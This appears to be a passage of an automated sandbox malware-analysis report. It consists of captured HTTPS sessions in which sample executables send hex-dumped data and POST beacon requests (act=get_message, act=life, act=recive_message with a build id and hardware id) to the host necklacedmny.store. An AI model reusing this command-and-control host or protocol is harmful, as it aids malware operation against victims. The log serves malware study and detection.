RgEY\uXhA!JtF}>OTDwik;+#"1}S4&!(sOU936X"&%0hnN_a.xXbwt\|82pNd:p}<'\|M:L_-I6{OZ=k2EE+I)@dC@Q3N2]XQp
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 46 e8 f6 3b 32 3e 38 0e 8b e3 0a 11 5a 25 c1 c5 9e b2 4c 6b 4c ad 1b 15 36 8d 13 36 ad cc 6b 25 d7 1a ab 61 46 0d 8e eb c5 19 ff db b3 4c 6b 0e b7 09 9f 7d 6d 93 9b 2b 0e 51 77 10 e2 25 a3 26 b7 a3 6e 3c 9e 8a 58 7e 32 52 f2 e4 46 55 ff d0 ad 01 5a d9 14 9b dc 2e 25 e8 25 09 ce f6 0e ae cb 1d 99 3a cb d3 88 87 4f 3f 74 67 79 4b 00 e6 96 62 65 7f 09 ef d0 3a bb f6 1a 44 d0 65 d4 f4 3e 32 ef 14 64 16 b6 9a 94 43 d9 af e8 8f 7c 98 8f 0c ac fd 57 b4 18 02 40 c6 13 37 ee c5 2c 10 00 b1 6c a4 92 16 f2 e4 40 be c8 fc 3c c4 d4 12 00 cd bf b3 17 a4 72 8e fc 7e 17 bb 80 2a 9a 8e 74 a2 62 79 58 8b d8 e7 a1 34 8a 40 55 9c 5e 1f 06 a0 96 3a a6 b2 fc 79 fb 66 d6 df 78 f2 8d 97 cb b5 00 c1 ab a4 b3 c0 6c 2f 35 07 ab a7 8b 6f 6f 88 94 fc fd 2c 2b 3f 25 64 4c 53 02 f9 1b Data Ascii: F;2>8Z%LkL66k%aFLk}m+Qw%&n<X~2RFUZ.%%:O?tgyKbe:De>2dC\|W@7,l@<r~*tbyX4@U^:yfxl/5oo,+?%dLS
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: d1 be b4 32 3d 26 92 22 c1 7f 50 7d ff 5a 6f 72 20 1f ac 52 14 ea 72 be e4 4d 7f 74 86 b9 9c b3 e5 ea b2 ae 36 58 c5 49 82 0f 4e ea f5 83 22 83 69 1e b0 f6 5b ff 15 79 7e 84 ff 27 85 ea 0e 9d 20 1b b2 cc 48 0e b2 60 da 33 5a 21 0d d1 ab c2 f6 52 a0 13 79 9a 7e fb 79 27 6f 61 a7 f3 1d 7f 9b 9d 13 b9 c3 b6 31 3d 01 7a d5 69 2a f2 89 f0 4d 00 ca a7 23 ed d9 f3 29 82 1a f6 5f f1 ca 92 c2 e2 7d e2 4e b1 c6 c8 7f ac 6d 59 fb d1 91 b2 bf 16 e5 f8 cc ec cb f7 6d f8 76 19 27 50 ec ba cd e2 5b ab d5 9b de 09 96 1b 7f ed f9 3a d2 54 e6 76 92 1d eb d6 6d c3 e4 a6 b1 9e 2f b4 a4 2a 80 b4 8e fc 38 27 24 c3 07 24 62 f2 c7 55 76 a3 3d f0 c2 11 39 21 97 79 fe 80 93 a0 80 c5 3b 7b d8 a8 57 02 1c 37 fd f2 39 10 f8 85 d9 ee e9 9f 3d 0d 30 b9 1e 83 f1 73 ef ef 82 a4 55 a3 a1 Data Ascii: 2=&"P}Zor RrMt6XIN"i[y~' H`3Z!Ry~y'oa1=ziM#)_}NmYmv'P[:Tvm/8'$$bUv=9!y;{W79=0sU
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 6e e0 31 c1 01 53 e4 67 12 22 b7 91 5d d3 5a ac c7 c9 1e e2 e1 96 c0 b2 50 9e 20 07 e5 67 4f 1c ea c2 86 50 27 ee 55 f4 cb 26 47 c6 61 c3 2e 91 b2 d3 c8 1f 44 75 ca ee 8a 77 2b 0b 36 68 3a 34 3e c8 7b 96 62 e3 56 50 c9 27 3c f8 43 b4 8d f2 31 ea a4 db f3 10 fe e1 7d 42 f8 83 b9 13 5c 6d 16 da 05 5d 1c cd 52 b3 b0 ab a8 d9 a3 f8 75 de cf f5 e3 4c de 51 29 4f f0 01 81 a0 04 0b 09 c8 01 19 1c 17 3b ca ec b8 dd c1 a1 fe ba c1 fd 33 c4 e5 97 18 34 25 c3 31 9f e2 51 ee 9c 25 40 42 23 4b 10 a0 20 04 dc 06 6c fb 1d ab a3 74 de 58 86 f0 bf 15 c4 34 1e 90 63 49 d5 fe bb 94 b8 4a 8d 8d 5b ae b0 bf c2 da 81 40 d6 2c 28 91 d6 26 5f 63 c7 77 36 dc 8e 5e f8 c6 07 fa 90 01 0f 36 cb a4 81 d7 0b f6 0c 7f c6 c9 fe 0f 95 d3 78 c4 75 c0 26 28 88 16 c8 fd e4 c9 a6 6b 14 01 81 Data Ascii: n1Sg"]ZP gOP'U&Ga.Duw+6h:4>{bVP'<C1}B\m]RuLQ)O;34%1Q%@B#K ltX4cIJ[@,(&_cw6^6xu&(k
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 0e 4a 6f 90 1f c5 b5 30 97 a2 3c ea 38 52 55 fb 34 33 b5 56 d1 a2 42 11 8b 4e 43 80 76 01 1e 8e 31 11 09 46 4b a4 dc a3 ee e9 53 0b ef ba 95 00 f3 34 7c ff c7 20 79 ec 76 c9 f4 86 94 58 5e e8 22 e9 1d 31 3f ed 31 db 98 ba 1b 5f a3 d5 5f e1 eb b6 b6 35 5b 64 e6 70 cc fb 5e 60 0d d7 be d4 af 23 ca a3 c7 fb c3 f1 ea 83 9c bf 4b 59 73 d2 48 6e fd cd 13 a1 75 b7 0b a8 4d 33 ad 79 ce 43 7b 01 bd 55 3f 62 82 ae 40 a4 67 f2 96 9e 66 b4 a1 d8 df 62 b9 8c 66 93 9a b9 74 23 fd ba a2 01 be df 5f d1 a0 e4 0b 31 61 30 4b 84 ac 84 9e c2 32 b1 84 fc b1 08 ce 04 9a ef e2 d5 a7 69 3e 77 4f 15 0f 88 3d 88 64 96 5c 77 db 43 f9 b7 b0 4f e7 9d ac 0f b0 15 c6 61 b1 f0 48 41 b0 ce 12 0f 4f 6d 9f 20 fb a6 98 50 5c c4 cf 5d 07 a0 dc 41 f6 27 fc 97 13 8b 9b d5 d3 b0 3c ff 3a 18 eb Data Ascii: Jo0<8RU43VBNCv1FKS4\| yvX^"1?1__5[dp^`#KYsHnuM3yC{U?b@gfbft#_1a0K2i>wO=d\wCOaHAOm P\]A'<:
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 0b 85 19 76 ee 78 9b 64 74 fb 7e 5c 05 b6 c9 c5 f9 74 1a 39 65 c9 72 92 75 c5 ad f6 8d 61 97 0a 3d 77 c9 80 f3 1b cb 91 d1 41 2a c7 de d1 1a 5f 44 6d 74 6c e6 2d 90 4c 8c c3 5f 4e 01 74 8c 0a e8 62 6a c4 04 44 19 79 33 5e a0 52 28 c5 e6 33 a0 8b 31 05 04 8f 02 87 d4 2c 78 20 08 9a ae 72 a6 a6 54 e6 ac e3 b2 4d 8c 0c f3 84 68 aa 80 0c 19 d2 48 48 72 41 07 c2 f6 ae 2b f1 9b 89 4f c0 3d 86 2d da 84 d8 fc 93 30 29 76 7a bc 56 1c 10 a1 cc e8 90 f8 f7 8a a5 bd c6 46 51 46 02 3c 20 a0 bc a0 d5 f0 e6 47 ed 31 e4 69 ed 2c 13 72 c6 ac 7b 6e 43 4c 3c 9e 15 6c 31 10 35 a4 f8 4d f3 a7 18 c1 a4 76 57 7f 75 3b 4a 1b c6 93 e8 5e 24 99 66 88 81 6c df 84 4f 19 ed 9d 45 7e 96 25 67 26 8c be 2c 34 0d db 51 02 10 18 b5 43 31 02 27 92 25 80 fd 54 9e 50 83 ac c8 1d 35 2b 86 f7 Data Ascii: vxdt~\t9erua=wA*_Dmtl-L_NtbjDy3^R(31,x rTMhHHrA+O=-0)vzVFQF< G1i,r{nCL<l15MvWu;J^$flOE~%g&,4QC1'%TP5+
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 6e 33 b1 6e e8 23 14 98 e7 64 53 81 92 71 77 2c 7e 0e ed e8 65 2d d4 e1 db 4f 3f bb 97 a0 10 b3 45 77 5d 18 b6 fb 52 fb b8 e4 49 1b f7 fb 3f 48 69 24 21 b3 fa 74 66 e8 81 2c fe a6 d1 7d b9 0d 6e 48 c8 87 97 c1 1f d4 a5 be d9 12 54 ab df c6 1d 43 7d 61 08 70 be 1c da 2c d8 9b 79 c0 54 3a c8 68 f5 36 7b 10 2b 4e 5a d4 b7 f4 e4 b2 df ef 45 19 34 34 ca 59 7e 2f c9 18 7e e0 be 77 e4 bf c9 ba cd 93 99 9c ca 50 1e 56 f8 bb 67 9c 13 fd 61 f8 dc e7 b0 89 1f a3 e1 d5 07 7d 2c 47 6c c3 94 7a 27 17 7e e1 00 62 cf 66 99 d1 d2 fd 31 d9 b6 71 c5 88 49 4b a7 8c b6 e0 c9 1b 9b 07 18 a7 6a b8 a5 0c bd a5 f2 ea 6a ea 28 13 90 8f 67 1b 4e 85 d5 30 fb b8 83 f5 c3 e1 ad 07 7e 3b 25 ab 3d 99 a5 d6 9e 0a 11 22 7d af 16 6e 76 37 dc f4 df 5c 45 6b e2 68 41 83 49 a3 41 bc 83 1f 16 Data Ascii: n3n#dSqw,~e-O?Ew]RI?Hi$!tf,}nHTC}ap,yT:h6{+NZE44Y~/~wPVga},Glz'~bf1qIKjj(gN0~;%="}nv7\EkhAIA
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: a1 48 fd 00 8a fa 65 19 ed 11 88 6a ab bd c4 19 40 e4 ae 32 46 7b 3c b9 ea 2a 20 8e 16 ee e5 3c fe 3b 86 86 8a 30 48 82 5b ae 8d 6b 55 b1 de 82 56 92 2d 04 78 d7 83 ac ba 08 17 e9 7a 5a c9 9a 78 46 f2 cb 1b ac 17 7c 45 17 4d 53 97 d8 ef 34 eb f4 10 33 7a bf 9c 29 20 4c 9a b5 77 94 fb 4c d4 5e 4d af b9 8c 14 fa a3 54 94 da d7 69 71 d8 a5 73 fe 3c 87 5d c1 c0 cc 57 32 7e f3 b3 01 b9 9e ae 3d f9 75 e9 f4 90 f9 cd 8f c1 57 ad 88 ac 75 a9 48 e7 82 4c 33 ba 14 f4 9b 4d 4a c0 6c ea 14 99 c2 ef c7 8f 2a 56 46 87 a7 41 6e 5d 0a 55 83 e1 83 3f 20 0d 64 7b ed dd 62 0e f5 b4 66 5c 28 be 9a f2 05 ca 63 58 cb c1 51 08 3e 31 7c cd 4c 03 17 07 4f c6 f8 fe 44 a4 45 c2 1e 9c 0e 7b 8d 9c 2a 25 4e 91 8d 0d 6b ed 1c cc 03 be af 37 68 97 b2 b1 c8 73 e0 c9 41 8a e7 d6 19 61 9e Data Ascii: Hej@2F{<* <;0H[kUV-xzZxF\|EMS43z) LwL^MTiqs<]W2~=uWuHL3MJlVFAn]U? d{bf\(cXQ>1\|LODE{%Nk7hsAa
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: c2 58 07 38 8d ec 09 0c 7f 52 4e ab 19 e1 d8 e7 1b 0e e0 d0 fd fe df a0 b2 e9 52 f3 4b f1 f6 d5 c4 c2 21 bc 6c 64 71 d1 93 3d 28 96 e4 d6 de 46 64 dd 81 63 21 6f 48 a2 21 dd 0f 69 0b 03 b9 8f 29 45 a3 7b 96 6d f0 f3 ad 50 ed 43 af c1 37 55 ac 86 6b 99 21 75 99 5d a0 bb ef e0 b3 6a 97 21 10 d6 4d c0 80 89 c8 c9 d9 87 fc 82 46 c0 e0 d3 57 de 2e 81 ba 80 63 f6 4b 73 3a f5 e1 72 e4 d2 1c c2 97 58 57 bd 2c de 56 1e f3 0c 07 6f d9 75 b8 2a 56 b1 f3 6d ed 83 d0 a1 10 66 de 6e 9e 13 0c 73 bb 4c ff b5 2b 98 fe 5f 49 4a 50 75 13 a9 04 3a 5a 29 89 9a 6b d0 87 b6 6a a6 49 08 23 3e 68 ab a2 76 8e d5 2a 34 af fe 73 bb f9 d4 57 6f 15 44 bc 14 bd b4 73 1d f6 e3 bd 24 57 64 d5 1f 11 bf f4 07 e2 84 66 5c b8 14 90 cd 72 9c 90 7f c2 60 6d 8c b4 2a cc 56 60 d4 58 54 a1 ac a4 Data Ascii: X8RNRK!ldq=(Fdc!oH!i)E{mPC7Uk!u]j!MFW.cKs:rXW,VouVmfnsL+_IJPu:Z)kjI#>hv4sWoDs$Wdf\r`m*V`XT
2024-10-31 22:37:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjbfltqin6odc3n7uiqhoat5qv; expires=Mon, 24-Feb-2025 16:23:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2JIMU6lANxZJWF68lZfXEdQjZnW7vB4cVRRhecofLLNARvpvPDPOGJFdPbUEevzBpR6WImV8uokp%2FXrP7AG0eEY9MIoMxrjR3eScPf%2BpVgbHPIAdDfmKnjZSWNf4UcNquVzVt08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720c439efddae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1114&sent=224&recv=619&lost=0&retrans=0&sent_bytes=2845&recv_bytes=588683&delivery_rate=2551541&cwnd=32&unsent_bytes=0&cid=d64d80bc6fa280a7&ts=4156&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 22:37:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=1B3CE24BA149BC22D8DDEF3DF61EFD84
2024-10-31 22:37:14 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4reefr65ou8oqlln3a6189tt2f; expires=Mon, 24-Feb-2025 16:23:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ztY0TIAvpUIFUsmMsiT%2FrOWQHF2OiEe9IxFDgHZkvngFpgAwGH0lfSOFZbxnKvMys%2FS3CXE31BXrG5C1P1PWC5H%2B4KdvOyB52j5pKQVgyDp%2FRVy00r0C%2Fgp%2BGWZu3weAd2e0%2Fx8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720e40c9e3ab2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2174174&cwnd=229&unsent_bytes=0&cid=f065c18f36b13953&ts=693&x=0"
2024-10-31 22:37:14 UTC	214	IN	Data Raw: 64 30 0d 0a 59 70 57 6c 44 79 71 4f 50 48 42 63 55 77 59 38 67 4d 63 7a 4c 62 62 32 53 71 4e 4e 30 4e 63 42 6a 65 68 31 4d 45 48 4b 6c 38 45 35 37 6f 64 36 43 4c 51 65 47 43 67 6e 64 67 62 63 36 47 38 43 68 38 35 2f 6a 58 2f 68 34 69 2b 38 32 55 59 65 63 50 7a 4c 37 67 33 7a 77 31 4d 46 36 6c 6b 57 63 6a 5a 2b 57 61 4c 72 45 55 76 43 31 48 43 54 59 66 4b 79 49 37 66 59 43 42 77 36 36 4f 4c 6a 57 4c 66 4e 65 31 37 2b 42 69 78 7a 44 79 6b 4e 75 50 49 64 48 34 66 44 5a 4a 4a 38 34 2f 6b 77 75 37 52 61 58 53 69 6b 38 70 31 4e 35 38 52 68 54 75 46 52 58 6a 6b 72 59 78 36 73 35 56 56 5a 6c 4d 78 36 6a 32 2b 31 39 54 75 39 6c 53 67 3d 0d 0a Data Ascii: d0YpWlDyqOPHBcUwY8gMczLbb2SqNN0NcBjeh1MEHKl8E57od6CLQeGCgndgbc6G8Ch85/jX/h4i+82UYecPzL7g3zw1MF6lkWcjZ+WaLrEUvC1HCTYfKyI7fYCBw66OLjWLfNe17+BixzDykNuPIdH4fDZJJ84/kwu7RaXSik8p1N58RhTuFRXjkrYx6s5VVZlMx6j2+19Tu9lSg=
2024-10-31 22:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49835	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:38:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:38:14 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jjsvo6v1i99nrt0ktp1hcvputf; expires=Mon, 24-Feb-2025 16:24:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TrSX9D0NmRw0mPxfwL4FzG8es110nshfad8f%2FXjTtaMJFCVwFfEUKk7r3sTeVhW2ZdZKYtPJp1MQwGGoTweX2WIgXdSJPJrqvAUHeyZrDBFZzmSpvrPkH9vR7p5x2QNlMjp8uhE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722596f8745ea-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1230&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2195602&cwnd=222&unsent_bytes=0&cid=ab97337f28bd1e3a&ts=549&x=0"
2024-10-31 22:38:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:38:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49841	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:38:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:38:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eual73end79hvrv0ltgp6vuiv2; expires=Mon, 24-Feb-2025 16:24:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=swNumpqa429aue4PntU5ABdL%2BwW6eOlWTw4KDUxpDNdh4o8MZ1NgP%2F2SZmd7aGQ%2Bsko%2Fwl5VKL%2FIhyyTxjzsmyqFFIhEYkhiBDaIABf8LzmyEtoTCiEAiv7OqmY3t81T2mcRibg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72260fcc63ab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1251&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2030855&cwnd=251&unsent_bytes=0&cid=a2040ac66b136d7d&ts=509&x=0"
2024-10-31 22:38:15 UTC	352	IN	Data Raw: 31 64 38 38 0d 0a 73 6f 43 6a 77 41 51 4d 67 6e 35 41 68 30 76 31 38 72 45 7a 34 71 74 52 56 69 57 67 55 6d 77 62 30 75 6b 70 74 67 58 74 37 74 66 4a 6f 74 58 69 50 6a 69 75 58 44 50 69 61 63 2b 47 77 30 61 48 68 33 4d 33 51 59 4a 6f 43 6e 71 2b 6d 6b 79 61 4a 35 75 44 39 59 6a 6d 77 71 78 33 61 61 35 63 4a 66 39 70 7a 36 6e 4b 45 59 66 46 63 32 77 48 78 54 67 4f 65 72 36 4c 53 4e 31 71 6e 59 4b 30 32 75 7a 45 71 47 46 76 35 68 38 73 36 69 36 51 6c 39 42 5a 6a 4d 49 38 50 6b 69 43 66 6b 35 2b 71 4d 73 54 6c 45 69 49 6d 72 62 2f 34 64 43 72 4a 6e 47 75 42 57 4c 69 4a 64 66 49 6b 31 4b 48 79 54 30 77 51 63 73 36 42 48 4f 32 69 6b 33 63 64 59 53 49 76 39 72 69 78 36 6c 72 5a 76 49 53 4a 75 30 6c 6c 70 33 51 45 63 36 4a 4e 43 77 48 6d 6e 42 64 53 37 4f 61 57 Data Ascii: 1d88soCjwAQMgn5Ah0v18rEz4qtRViWgUmwb0ukptgXt7tfJotXiPjiuXDPiac+Gw0aHh3M3QYJoCnq+mkyaJ5uD9Yjmwqx3aa5cJf9pz6nKEYfFc2wHxTgOer6LSN1qnYK02uzEqGFv5h8s6i6Ql9BZjMI8PkiCfk5+qMsTlEiImrb/4dCrJnGuBWLiJdfIk1KHyT0wQcs6BHO2ik3cdYSIv9rix6lrZvISJu0llp3QEc6JNCwHmnBdS7OaW
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 78 6e 59 2b 41 4f 4b 75 34 69 6b 6f 4c 59 57 49 33 45 4d 7a 6c 4e 7a 54 4d 4f 66 72 71 42 52 4e 35 6a 67 6f 47 7a 30 4f 4b 42 37 43 5a 70 2b 46 78 36 70 51 71 53 67 4e 52 64 6c 6f 73 4a 64 46 69 4d 4b 55 35 2b 76 4d 73 54 6c 47 2b 4b 6a 37 62 62 37 63 4b 71 62 58 7a 67 44 69 54 6f 4c 49 57 57 31 6c 2b 4b 79 69 45 2b 53 63 51 7a 42 33 4b 35 6a 6b 7a 51 4a 38 48 4d 73 73 69 69 6d 65 4a 48 59 2b 73 51 4b 50 49 70 31 34 2b 64 53 4d 44 4f 50 33 51 66 67 6a 51 50 66 62 47 50 52 64 70 6a 67 34 71 37 33 65 33 48 71 47 5a 70 36 68 51 71 35 43 53 63 6e 39 4e 55 6a 63 30 31 4f 45 62 48 63 45 41 35 74 35 4d 4c 6a 43 65 68 69 37 62 43 6f 50 53 68 61 47 44 6e 43 6d 4c 36 5a 34 37 51 31 46 33 41 6b 58 4d 36 51 73 30 69 44 32 75 31 68 56 6e 59 59 6f 6d 42 74 74 37 69 78 Data Ascii: xnY+AOKu4ikoLYWI3EMzlNzTMOfrqBRN5jgoGz0OKB7CZp+Fx6pQqSgNRdlosJdFiMKU5+vMsTlG+Kj7bb7cKqbXzgDiToLIWW1l+KyiE+ScQzB3K5jkzQJ8HMssiimeJHY+sQKPIp14+dSMDOP3QfgjQPfbGPRdpjg4q73e3HqGZp6hQq5CScn9NUjc01OEbHcEA5t5MLjCehi7bCoPShaGDnCmL6Z47Q1F3AkXM6Qs0iD2u1hVnYYomBtt7ix
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 6e 43 6d 4c 36 5a 34 37 51 31 46 33 41 6b 58 4d 34 54 73 49 37 42 48 32 77 6a 45 62 52 5a 49 69 50 75 4e 66 6f 7a 36 56 69 59 75 6b 52 4a 4f 55 75 6b 35 58 42 56 49 6e 46 50 33 51 4a 67 6a 63 57 4f 65 6a 4c 5a 4e 4e 78 6a 4b 4f 32 77 65 75 42 76 53 68 33 6f 42 73 75 70 58 48 58 6c 39 5a 5a 69 38 38 37 4e 46 58 48 50 67 56 34 75 6f 31 4b 32 57 75 4a 6a 4c 54 51 35 4d 32 69 59 57 6e 79 44 69 66 6a 4f 35 33 51 6e 52 47 48 30 58 4e 73 42 2f 51 67 47 57 69 6d 79 58 37 58 61 59 47 4c 6f 35 44 39 6a 37 73 6d 61 65 78 63 65 71 55 69 6c 35 7a 55 57 59 62 4e 4f 7a 74 49 79 79 49 50 64 62 36 5a 54 4e 52 75 67 59 4f 35 32 65 2f 47 72 32 31 6b 37 52 67 6c 35 47 6e 5a 30 4e 52 4a 77 4a 46 7a 41 6c 66 50 50 43 42 79 76 49 49 4c 79 79 6d 57 7a 4c 4c 63 6f 70 6e 69 59 6d Data Ascii: nCmL6Z47Q1F3AkXM4TsI7BH2wjEbRZIiPuNfoz6ViYukRJOUuk5XBVInFP3QJgjcWOejLZNNxjKO2weuBvSh3oBsupXHXl9ZZi887NFXHPgV4uo1K2WuJjLTQ5M2iYWnyDifjO53QnRGH0XNsB/QgGWimyX7XaYGLo5D9j7smaexceqUil5zUWYbNOztIyyIPdb6ZTNRugYO52e/Gr21k7Rgl5GnZ0NRJwJFzAlfPPCByvIILyymWzLLcopniYm
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 34 53 79 53 6c 4e 52 56 68 73 5a 7a 65 67 66 46 4b 45 34 68 38 4b 52 73 34 53 57 75 74 76 58 50 72 4e 6a 69 59 57 4b 67 52 47 4c 70 4b 70 75 59 33 46 65 4a 78 54 6b 39 54 4d 34 37 43 6e 57 35 6a 6b 33 56 59 6f 71 4e 73 64 7a 6f 78 36 46 6c 59 65 38 54 4b 71 56 6e 31 35 66 4c 45 64 69 4a 46 69 4e 4d 7a 44 5a 4f 5a 76 36 53 43 39 4e 72 7a 39 54 31 33 4f 76 48 70 47 4e 69 34 52 6f 71 34 43 47 54 6b 64 56 58 67 38 59 33 4d 55 62 4e 4e 41 4a 33 75 6f 70 4b 32 47 79 41 68 37 43 51 72 49 47 6c 66 69 36 34 58 42 50 6d 50 34 43 41 33 78 47 66 68 79 70 30 51 4d 35 77 56 6a 6d 78 6d 55 48 65 61 59 71 44 73 4e 50 74 78 71 39 67 59 75 6f 56 4b 75 4d 6d 6e 6f 4c 51 58 59 37 4f 50 54 68 4a 7a 7a 6f 4e 64 50 44 46 43 39 4e 2f 7a 39 54 31 2f 4f 58 4d 6a 47 31 69 35 31 77 Data Ascii: 4SySlNRVhsZzegfFKE4h8KRs4SWutvXPrNjiYWKgRGLpKpuY3FeJxTk9TM47CnW5jk3VYoqNsdzox6FlYe8TKqVn15fLEdiJFiNMzDZOZv6SC9Nrz9T13OvHpGNi4Roq4CGTkdVXg8Y3MUbNNAJ3uopK2GyAh7CQrIGlfi64XBPmP4CA3xGfhyp0QM5wVjmxmUHeaYqDsNPtxq9gYuoVKuMmnoLQXY7OPThJzzoNdPDFC9N/z9T1/OXMjG1i51w
2024-10-31 22:38:15 UTC	1369	IN	Data Raw: 39 36 54 56 70 69 4a 61 33 52 78 78 53 41 65 65 76 4b 36 58 64 64 78 68 49 47 35 6b 50 32 50 75 79 5a 70 37 46 78 36 70 53 2b 59 6d 64 42 65 67 63 41 2f 4f 55 4c 4c 4e 51 39 2f 74 49 46 42 31 47 47 4a 6a 62 44 61 34 63 43 6f 62 32 6e 6f 47 79 48 33 61 64 6e 51 31 45 6e 41 6b 58 4d 64 51 4e 41 2b 48 6a 6d 76 78 56 4b 55 59 49 50 4d 37 5a 44 6d 79 36 31 69 61 65 77 61 4a 2b 4d 6b 6c 70 2f 53 55 59 2f 4e 4f 44 31 42 77 7a 30 4c 64 4c 53 5a 51 64 39 6f 67 34 57 35 33 61 4b 50 34 6d 46 32 6f 45 52 69 31 43 53 5a 6e 74 52 48 77 4e 5a 39 4c 51 66 46 50 45 34 68 38 49 70 48 32 32 53 41 6a 37 62 52 36 4e 4f 77 61 6d 66 6f 47 